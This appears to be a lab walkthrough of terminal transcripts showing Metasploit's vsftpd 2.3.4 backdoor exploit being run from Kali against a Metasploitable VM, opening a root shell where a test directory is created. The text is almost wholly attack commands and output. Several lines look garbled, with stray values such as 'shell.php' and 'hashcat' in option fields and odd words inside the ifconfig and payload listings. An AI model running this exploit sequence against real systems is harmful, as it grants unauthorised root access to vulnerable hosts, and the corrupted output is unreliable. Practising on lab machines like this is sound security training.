

MSFCONSOLE KALI SU META

```
(kali@kali)~[~]
$ msfconsole
Metasploit tip: View a module's description using info, or the enhanced
version in your browser with info -d

# cowsay++

< metasploit >

\      /_
 (oo)_____)
 (_____)___)
  ||_____|*
  ||_____|*

Home      shell.php

=[ metasploit v6.3.51-dev ]
+ -- --[ 2384 exploits - 1235 auxiliary - 418 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
```

```
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > exploit/unix/ftp/vsftpd_234_backdoor
[-] Unknown command: exploit/unix/ftp/vsftpd_234_backdoor
This is a module we can load. Do you want to use exploit/unix/ftp/vsftpd_234_backdoor? [y/N] y
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
- - - - -
CHOST 127.0.0.1 no The local client address
CPORT 4444 no The local client port
Proxies shell.php no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Payload options (cmd/unix/interact):

Name Current Setting Required Description
- - - - -

Exploit target:

Id Name
-- --
0 Automatic
```

```

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.59
RHOST => 192.168.1.59
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS  | 192.168.1.59    | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Payload options (cmd/unix/interact):



| Name      | Current Setting | Required | Description |
|-----------|-----------------|----------|-------------|
| DisableIO | hashcat         |          |             |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

```

```

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
List by name or index. For example: show payloads 0 or show payloads cmd/unix/interact

msf6 # Name      Path      Disclosure Date  Rank  Check  Description
-----
0  payload/cmd/unix/interact  you want to use  normal  No  Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.59:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.59:21 - USER: 331 Please specify the password.
[+] 192.168.1.59:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.59:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.58:44461 -> 192.168.1.59:6200) at 2024-03-21 15:42:26 -0400

ifconfig
eth0: Link encap:Ethernet HWaddr 08:00:27:f6:43:0a
      inet addr:192.168.1.59 Bcast:192.168.1.255 Mask:255.255.255.0
      VAR inet6 addr: 2001:b07:646e:a961:a00:27ff:fef6:430a/64 Scope:Global
      vhost inet6 addr: fe80::a00:27ff:fef6:430a/64 Scope:Link host
      UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
      RX packets:190 errors:0 dropped:0 overruns:0 frame:0
      TX packets:99 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:1000
      RX bytes:21401 (20.8 KB) TX bytes:10326 (10.0 KB)
      Base address:0xd020 Memory:f0200000-f0220000

lo: Link encap:Local Loopback
      inet addr:127.0.0.1 Mask:255.0.0.0
      inet6 addr: ::1/128 Scope:Host
      UP LOOPBACK RUNNING MTU:16436 Metric:1
      RX packets:146 errors:0 dropped:0 overruns:0 frame:0
      TX packets:146 errors:0 dropped:0 overruns:0 carrier:0
      collisions:0 txqueuelen:0
      RX bytes:46149 (45.0 KB) TX bytes:46149 (45.0 KB)

sudo su
mkdir /test_metasploit
whoami
root
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

```

```
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin      dev      initrd    lost+found  nohup.out  root  sys          usr
boot     etc      initrd.img  media       opt        sbin  test_metasploit  var
cdrom    home     lib        mnt         proc       srv   tmp          vmlinuz
msfadmin@metasploitable:/$ cd test?metasploit
msfadmin@metasploitable:/test_metasploit$ cd test_metasploit
-bash: cd: test_metasploit: No such file or directory
msfadmin@metasploitable:/test_metasploit$
```